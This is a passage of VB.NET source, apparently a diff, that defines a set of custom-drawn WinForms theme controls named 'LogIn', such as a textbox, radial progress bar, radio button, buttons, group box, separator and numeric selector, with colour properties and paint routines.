Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(TB) Then + Controls.Add(TB) + End If + End Sub + + Private Sub OnBaseTextChanged(ByVal s As Object, ByVal e As EventArgs) + Text = TB.Text + End Sub + + Private Sub OnBaseKeyDown(ByVal s As Object, ByVal e As KeyEventArgs) + If e.Control AndAlso e.KeyCode = Keys.A Then + TB.SelectAll() + e.SuppressKeyPress = True + End If + If e.Control AndAlso e.KeyCode = Keys.C Then + TB.Copy() + e.SuppressKeyPress = True + End If + End Sub + + Protected Overrides Sub OnResize(ByVal e As EventArgs) + TB.Location = New Point(5, 5) + TB.Width = Width - 10 + + If _Multiline Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + MyBase.OnResize(e) + End Sub + + Public Property Style As Styles + Get + Return _Style + End Get + Set(value As Styles) + _Style = value + End Set + End Property + + Public Sub SelectAll() + TB.Focus() + TB.SelectAll() + End Sub + + +#End Region + +#Region "Colour Properties" + + + Public Property BackgroundColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : TB.Focus() : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + TB = New TextBox + TB.Height = 190 + TB.Font = New Font("Segoe UI", 10) + TB.Text = Text + TB.BackColor = Color.FromArgb(42, 42, 42) + TB.ForeColor = Color.FromArgb(255, 255, 255) + TB.MaxLength = _MaxLength + TB.Multiline = False + TB.ReadOnly = _ReadOnly + TB.UseSystemPasswordChar = _UseSystemPasswordChar + TB.BorderStyle = BorderStyle.None + TB.Location = New Point(5, 5) + TB.Width = Width - 35 + AddHandler TB.TextChanged, AddressOf OnBaseTextChanged + AddHandler TB.KeyDown, AddressOf OnBaseKeyDown + End Sub + + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim g = e.Graphics + Dim GP As GraphicsPath + Dim Base As New Rectangle(0, 0, Width, Height) + With g + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + TB.BackColor = Color.FromArgb(42, 42, 42) + TB.ForeColor = Color.FromArgb(255, 255, 255) + Select Case _Style + Case Styles.Rounded + GP = RoundRectangle(Base, 6) + .FillPath(New SolidBrush(Color.FromArgb(42, 42, 42)), GP) + .DrawPath(New Pen(New SolidBrush(Color.FromArgb(35, 35, 35)), 2), GP) + GP.Dispose() + Case Styles.NotRounded + .FillRectangle(New SolidBrush(Color.FromArgb(42, 42, 42)), New Rectangle(0, 0, Width - 1, Height - 1)) + .DrawRectangle(New Pen(New SolidBrush(Color.FromArgb(35, 35, 35)), 2), New Rectangle(0, 0, Width, Height)) + End Select + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub + +#End Region + +End Class + +Public Class LogInRadialProgressBar + Inherits Control + +#Region "Declarations" + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _ProgressColour As Color = Color.FromArgb(23, 119, 151) + Private _Value As Integer = 0 + Private _Maximum As Integer = 100 + Private _StartingAngle As Integer = 110 + Private _RotationAngle As Integer = 255 + Private ReadOnly _Font As Font = New Font("Segoe UI", 20) +#End Region + +#Region "Properties" + + + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(V As Integer) + Select Case V + Case Is < _Value + _Value = V + End Select + _Maximum = V + Invalidate() + End Set + End Property + + + Public Property Value() As Integer + Get + Select Case _Value + Case 0 + Return 0 + Case Else + Return _Value + End Select + End Get + + Set(V As Integer) + Select Case V + Case Is > _Maximum + V = _Maximum + Invalidate() + End Select + _Value = V + Invalidate() + End Set + End Property + + Public Sub Increment(ByVal Amount As Integer) + Value += Amount + End Sub + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property ProgressColour As Color + Get + Return _ProgressColour + End Get + Set(value As Color) + _ProgressColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property StartingAngle As Integer + Get + Return _StartingAngle + End Get + Set(value As Integer) + _StartingAngle = value + End Set + End Property + + + Public Property RotationAngle As Integer + Get + Return _RotationAngle + End Get + Set(value As Integer) + _RotationAngle = value + End Set + End Property + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(78, 78) + BackColor = Color.FromArgb(54, 54, 54) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim G = e.Graphics + With G + .TextRenderingHint = TextRenderingHint.AntiAliasGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + Select Case _Value + Case 0 + .DrawArc(New Pen(New SolidBrush(_BorderColour), 1 + 5), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle - 3, _RotationAngle + 5) + .DrawArc(New Pen(New SolidBrush(_BaseColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle, _RotationAngle) + .DrawString(CStr(_Value), _Font, Brushes.White, New Point(CInt(Width / 2), CInt(Height / 2 - 1)), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case _Maximum + .DrawArc(New Pen(New SolidBrush(_BorderColour), 1 + 5), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle - 3, _RotationAngle + 5) + .DrawArc(New Pen(New SolidBrush(_BaseColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle, _RotationAngle) + .DrawArc(New Pen(New SolidBrush(_ProgressColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle, _RotationAngle) + .DrawString(CStr(_Value), _Font, Brushes.White, New Point(CInt(Width / 2), CInt(Height / 2 - 1)), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case Else + .DrawArc(New Pen(New SolidBrush(_BorderColour), 1 + 5), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle - 3, _RotationAngle + 5) + .DrawArc(New Pen(New SolidBrush(_BaseColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle, _RotationAngle) + .DrawArc(New Pen(New SolidBrush(_ProgressColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 4, Height - 3 - 3, _StartingAngle, CInt((_RotationAngle / _Maximum) * _Value)) + .DrawString(CStr(_Value), _Font, Brushes.White, New Point(CInt(Width / 2), CInt(Height / 2 - 1)), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + End Select + .InterpolationMode = InterpolationMode.HighQualityBicubic + End With + End Sub +#End Region + +End Class + + +Public Class LogInRadioButton + Inherits Control + +#Region "Declarations" + Private _Checked As Boolean + Private State As MouseState = MouseState.None + Private _HoverColour As Color = Color.FromArgb(50, 49, 51) + Private _CheckedColour As Color = Color.FromArgb(173, 173, 174) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _BackColour As Color = Color.FromArgb(54, 54, 54) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) +#End Region + +#Region "Colour & Other Properties" + + + Public Property HighlightColour As Color + Get + Return _HoverColour + End Get + Set(value As Color) + _HoverColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BackColour + End Get + Set(value As Color) + _BackColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property CheckedColour As Color + Get + Return _CheckedColour + End Get + Set(value As Color) + _CheckedColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + Event CheckedChanged(ByVal sender As Object) + Property Checked() As Boolean + Get + Return _Checked + End Get + Set(value As Boolean) + _Checked = value + InvalidateControls() + RaiseEvent CheckedChanged(Me) + Invalidate() + End Set + End Property + + Protected Overrides Sub OnClick(e As EventArgs) + If Not _Checked Then Checked = True + MyBase.OnClick(e) + End Sub + Private Sub InvalidateControls() + If Not IsHandleCreated OrElse Not _Checked Then Return + For Each C As Control In Parent.Controls + If C IsNot Me AndAlso TypeOf C Is LogInRadioButton Then + DirectCast(C, LogInRadioButton).Checked = False + Invalidate() + End If + Next + End Sub + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + InvalidateControls() + End Sub + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 22 + End Sub +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Cursor = Cursors.Hand + Size = New Size(100, 22) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim G = e.Graphics + Dim Base As New Rectangle(1, 1, Height - 2, Height - 2) + Dim Circle As New Rectangle(6, 6, Height - 12, Height - 12) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(_BackColour) + .FillEllipse(New SolidBrush(_BackColour), Base) + .DrawEllipse(New Pen(_BorderColour, 2), Base) + If Checked Then + Select Case State + Case MouseState.Over + .FillEllipse(New SolidBrush(_HoverColour), New Rectangle(2, 2, Height - 4, Height - 4)) + End Select + .FillEllipse(New SolidBrush(_CheckedColour), Circle) + Else + Select Case State + Case MouseState.Over + .FillEllipse(New SolidBrush(_HoverColour), New Rectangle(2, 2, Height - 4, Height - 4)) + End Select + End If + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(24, 3, Width, Height), New StringFormat With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Near}) + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub +#End Region + +End Class + +Public Class LogInLabel + Inherits Label + +#Region "Declaration" + Private _FontColour As Color = Color.FromArgb(255, 255, 255) +#End Region + +#Region "Property & Event" + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + + Protected Overrides Sub OnTextChanged(e As EventArgs) + MyBase.OnTextChanged(e) : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.SupportsTransparentBackColor, True) + Font = New Font("Segoe UI", 9) + ForeColor = _FontColour + BackColor = Color.Transparent + Text = Text + End Sub + +#End Region + +End Class + +Public Class LogInButton + Inherits Control + +#Region "Declarations" + Private ReadOnly _Font As New Font("Segoe UI", 9) + Private _ProgressColour As Color = Color.FromArgb(0, 191, 255) + Private _BorderColour As Color = Color.FromArgb(25, 25, 25) + Private _FontColour As Color = Color.FromArgb(255, 255, 255) + Private _MainColour As Color = Color.FromArgb(42, 42, 42) + Private _HoverColour As Color = Color.FromArgb(52, 52, 52) + Private _PressedColour As Color = Color.FromArgb(47, 47, 47) + Private State As New MouseState +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Properties" + + + Public Property ProgressColour As Color + Get + Return _ProgressColour + End Get + Set(value As Color) + _ProgressColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _MainColour + End Get + Set(value As Color) + _MainColour = value + End Set + End Property + + + Public Property HoverColour As Color + Get + Return _HoverColour + End Get + Set(value As Color) + _HoverColour = value + End Set + End Property + + + Public Property PressedColour As Color + Get + Return _PressedColour + End Get + Set(value As Color) + _PressedColour = value + End Set + End Property + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(75, 30) + BackColor = Color.Transparent + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim G = e.Graphics + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .InterpolationMode = CType(7, InterpolationMode) + .Clear(BackColor) + Select Case State + Case MouseState.None + .FillRectangle(New SolidBrush(_MainColour), New Rectangle(0, 0, Width, Height)) + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height)) + .DrawString(Text, _Font, Brushes.White, New Point(CInt(Width / 2), CInt(Height / 2)), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case MouseState.Over + .FillRectangle(New SolidBrush(_HoverColour), New Rectangle(0, 0, Width, Height)) + .DrawRectangle(New Pen(_BorderColour, 1), New Rectangle(1, 1, Width - 2, Height - 2)) + .DrawString(Text, _Font, Brushes.White, New Point(CInt(Width / 2), CInt(Height / 2)), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case MouseState.Down + .FillRectangle(New SolidBrush(_PressedColour), New Rectangle(0, 0, Width, Height)) + .DrawRectangle(New Pen(_BorderColour, 1), New Rectangle(1, 1, Width - 2, Height - 2)) + .DrawString(Text, _Font, Brushes.White, New Point(CInt(Width / 2), CInt(Height / 2)), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + End Select + End With + End Sub + +#End Region + +End Class + +Public Class LogInButtonWithProgress + Inherits Control + +#Region "Declarations" + Private _Value As Integer = 0 + Private _Maximum As Integer = 100 + Private _Font As New Font("Segoe UI", 9) + Private _ProgressColour As Color = Color.FromArgb(0, 191, 255) + Private _BorderColour As Color = Color.FromArgb(25, 25, 25) + Private _FontColour As Color = Color.FromArgb(255, 255, 255) + Private _MainColour As Color = Color.FromArgb(42, 42, 42) + Private _HoverColour As Color = Color.FromArgb(52, 52, 52) + Private _PressedColour As Color = Color.FromArgb(47, 47, 47) + Private State As New MouseState +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Properties" + + + Public Property ProgressColour As Color + Get + Return _ProgressColour + End Get + Set(value As Color) + _ProgressColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _MainColour + End Get + Set(value As Color) + _MainColour = value + End Set + End Property + + + Public Property HoverColour As Color + Get + Return _HoverColour + End Get + Set(value As Color) + _HoverColour = value + End Set + End Property + + + Public Property PressedColour As Color + Get + Return _PressedColour + End Get + Set(value As Color) + _PressedColour = value + End Set + End Property + + + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(V As Integer) + Select Case V + Case Is < _Value + _Value = V + End Select + _Maximum = V + Invalidate() + End Set + End Property + + + Public Property Value() As Integer + Get + Select Case _Value + Case 0 + Return 0 + + Case Else + Return _Value + + End Select + End Get + Set(V As Integer) + Select Case V + Case Is > _Maximum + V = _Maximum + Invalidate() + End Select + _Value = V + Invalidate() + End Set + End Property + + Public Sub Increment(ByVal Amount As Integer) + Value += Amount + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(75, 30) + BackColor = Color.Transparent + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim g = e.Graphics + With g + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + Select Case State + Case MouseState.None + .FillRectangle(New SolidBrush(_MainColour), New Rectangle(0, 0, Width, Height - 4)) + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height - 4)) + .DrawString(Text, _Font, Brushes.White, New Point(CInt(Width / 2), CInt(Height / 2 - 2)), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case MouseState.Over + .FillRectangle(New SolidBrush(_HoverColour), New Rectangle(0, 0, Width, Height - 4)) + .DrawRectangle(New Pen(_BorderColour, 1), New Rectangle(1, 1, Width - 2, Height - 5)) + .DrawString(Text, _Font, Brushes.White, New Point(CInt(Width / 2), CInt(Height / 2 - 2)), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case MouseState.Down + .FillRectangle(New SolidBrush(_PressedColour), New Rectangle(0, 0, Width, Height - 4)) + .DrawRectangle(New Pen(_BorderColour, 1), New Rectangle(1, 1, Width - 2, Height - 5)) + .DrawString(Text, _Font, Brushes.White, New Point(CInt(Width / 2), CInt(Height / 2 - 2)), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + End Select + Select Case _Value + Case 0 + Case _Maximum + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, Height - 4, Width, Height - 4)) + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height)) + Case Else + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, Height - 4, CInt(Width / _Maximum * _Value), Height - 4)) + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height)) + End Select + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub + +#End Region + +End Class + +Public Class LogInGroupBox + Inherits ContainerControl + +#Region "Declarations" + Private _MainColour As Color = Color.FromArgb(47, 47, 47) + Private _HeaderColour As Color = Color.FromArgb(42, 42, 42) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) +#End Region + +#Region "Properties" + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property HeaderColour As Color + Get + Return _HeaderColour + End Get + Set(value As Color) + _HeaderColour = value + End Set + End Property + + + Public Property MainColour As Color + Get + Return _MainColour + End Get + Set(value As Color) + _MainColour = value + End Set + End Property + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(160, 110) + Font = New Font("Segoe UI", 10, FontStyle.Bold) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim g = e.Graphics + With g + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(Color.FromArgb(54, 54, 54)) + .FillRectangle(New SolidBrush(_MainColour), New Rectangle(0, 28, Width, Height)) + .FillRectangle(New SolidBrush(_HeaderColour), New Rectangle(0, 0, CInt(.MeasureString(Text, Font).Width + 7), 28)) + .DrawString(Text, Font, New SolidBrush(_TextColour), New Point(5, 5)) + Dim P() As Point = {New Point(0, 0), New Point(CInt(.MeasureString(Text, Font).Width + 7), 0), New Point(CInt(.MeasureString(Text, Font).Width + 7), 28), + New Point(Width - 1, 28), New Point(Width - 1, Height - 1), New Point(1, Height - 1), New Point(1, 1)} + .DrawLines(New Pen(_BorderColour), P) + .DrawLine(New Pen(_BorderColour, 2), New Point(0, 28), New Point(CInt(.MeasureString(Text, Font).Width + 7), 28)) + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub +#End Region + +End Class + +Public Class LogInSeperator + Inherits Control + +#Region "Declarations" + Private _SeperatorColour As Color = Color.FromArgb(35, 35, 35) + Private _Alignment As Style = Style.Horizontal + Private _Thickness As Single = 1 +#End Region + +#Region "Properties" + + Enum Style + Horizontal + Verticle + End Enum + + + Public Property Thickness As Single + Get + Return _Thickness + End Get + Set(value As Single) + _Thickness = value + End Set + End Property + + + Public Property Alignment As Style + Get + Return _Alignment + End Get + Set(value As Style) + _Alignment = value + End Set + End Property + + + Public Property SeperatorColour As Color + Get + Return _SeperatorColour + End Get + Set(value As Color) + _SeperatorColour = value + End Set + End Property + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + Size = New Size(20, 20) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim G = e.Graphics + Dim Base As New Rectangle(0, 0, Width - 1, Height - 1) + With G + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + Select Case _Alignment + Case Style.Horizontal + .DrawLine(New Pen(_SeperatorColour, _Thickness), New Point(0, CInt(Height / 2)), New Point(Width, CInt(Height / 2))) + Case Style.Verticle + .DrawLine(New Pen(_SeperatorColour, _Thickness), New Point(CInt(Width / 2), 0), New Point(CInt(Width / 2), Height)) + End Select + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub +#End Region + +End Class + +Public Class LogInNumeric + Inherits Control + +#Region "Variables" + + Private State As MouseState = MouseState.None + Private MouseXLoc, MouseYLoc As Integer + Private _Value As Long + Private _Minimum As Long = 0 + Private _Maximum As Long = 9999999 + Private BoolValue As Boolean + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _ButtonColour As Color = Color.FromArgb(47, 47, 47) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _SecondBorderColour As Color = Color.FromArgb(0, 191, 255) + Private _FontColour As Color = Color.FromArgb(255, 255, 255) + +#End Region + +#Region "Properties & Events" + + Public Property Value As Long + Get + Return _Value + End Get + Set(value As Long) + If value <= _Maximum And value >= _Minimum Then _Value = value + Invalidate() + End Set + End Property + + Public Property Maximum As Long + Get + Return _Maximum + End Get + Set(value As Long) + If value > _Minimum Then _Maximum = value + If _Value > _Maximum Then _Value = _Maximum + Invalidate() + End Set + End Property + + Public Property Minimum As Long + Get + Return _Minimum + End Get + Set(value As Long) + If value < _Maximum Then _Minimum = value + If _Value < _Minimum Then _Value = Minimum + Invalidate() + End Set + End Property + + Protected Overrides Sub OnMouseMove(e As MouseEventArgs) + MyBase.OnMouseMove(e) + MouseXLoc = e.Location.X + MouseYLoc = e.Location.Y + Invalidate() + If e.X < Width - 47 Then Cursor = Cursors.IBeam Else Cursor = Cursors.Hand + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + If MouseXLoc > Width - 47 AndAlso MouseXLoc < Width - 3 Then + If MouseXLoc < Width - 23 Then + If (Value + 1) <= _Maximum Then _Value += 1 + Else + If (Value - 1) >= _Minimum Then _Value -= 1 + End If + Else + BoolValue = Not BoolValue + Focus() + End If + Invalidate() + End Sub + + Protected Overrides Sub OnKeyPress(e As KeyPressEventArgs) + MyBase.OnKeyPress(e) + Try + If BoolValue Then _Value = CLng(CStr(CStr(_Value) & e.KeyChar.ToString())) + If _Value > _Maximum Then _Value = _Maximum + Invalidate() + Catch : End Try + End Sub + + Protected Overrides Sub OnKeyDown(e As KeyEventArgs) + MyBase.OnKeyDown(e) + If e.KeyCode = Keys.Back Then + Value = 0 + End If + End Sub + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 24 + End Sub + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property ButtonColour As Color + Get + Return _ButtonColour + End Get + Set(value As Color) + _ButtonColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property SecondBorderColour As Color + Get + Return _SecondBorderColour + End Get + Set(value As Color) + _SecondBorderColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Font = New Font("Segoe UI", 10) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim g = e.Graphics + Dim Base As New Rectangle(0, 0, Width, Height) + Dim CenterSF As New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Center} + With g + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .Clear(BackColor) + .FillRectangle(New SolidBrush(_BaseColour), Base) + .FillRectangle(New SolidBrush(_ButtonColour), New Rectangle(Width - 48, 0, 48, Height)) + .DrawRectangle(New Pen(_BorderColour, 2), Base) + .DrawLine(New Pen(_SecondBorderColour), New Point(Width - 48, 1), New Point(Width - 48, Height - 2)) + .DrawLine(New Pen(_BorderColour), New Point(Width - 24, 1), New Point(Width - 24, Height - 2)) + .DrawLine(New Pen(_FontColour), New Point(Width - 36, 7), New Point(Width - 36, 17)) + .DrawLine(New Pen(_FontColour), New Point(Width - 31, 12), New Point(Width - 41, 12)) + .DrawLine(New Pen(_FontColour), New Point(Width - 17, 13), New Point(Width - 7, 13)) + .DrawString(CStr(Value), Font, New SolidBrush(_FontColour), New Rectangle(5, 1, Width, Height), New StringFormat() With {.LineAlignment = StringAlignment.Center}) + .InterpolationMode = InterpolationMode.HighQualityBicubic + End With + End Sub + +#End Region + +End Class + +Public Class LogInColourTable + Inherits ProfessionalColorTable + +#Region "Declarations" + + Private _BackColour As Color = Color.FromArgb(42, 42, 42) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _SelectedColour As Color = Color.FromArgb(47, 47, 47) + +#End Region + +#Region "Properties" + + + Public Property SelectedColour As Color + Get + Return _SelectedColour + End Get + Set(value As Color) + _SelectedColour = value + End Set + End Property + + + Public Property BorderColour As Color + 